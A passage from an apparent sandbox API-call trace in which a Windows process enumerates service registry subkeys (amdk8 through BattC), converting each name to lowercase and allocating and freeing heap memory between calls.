lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.500] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.500] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.500] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0184.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0184.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0184.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, 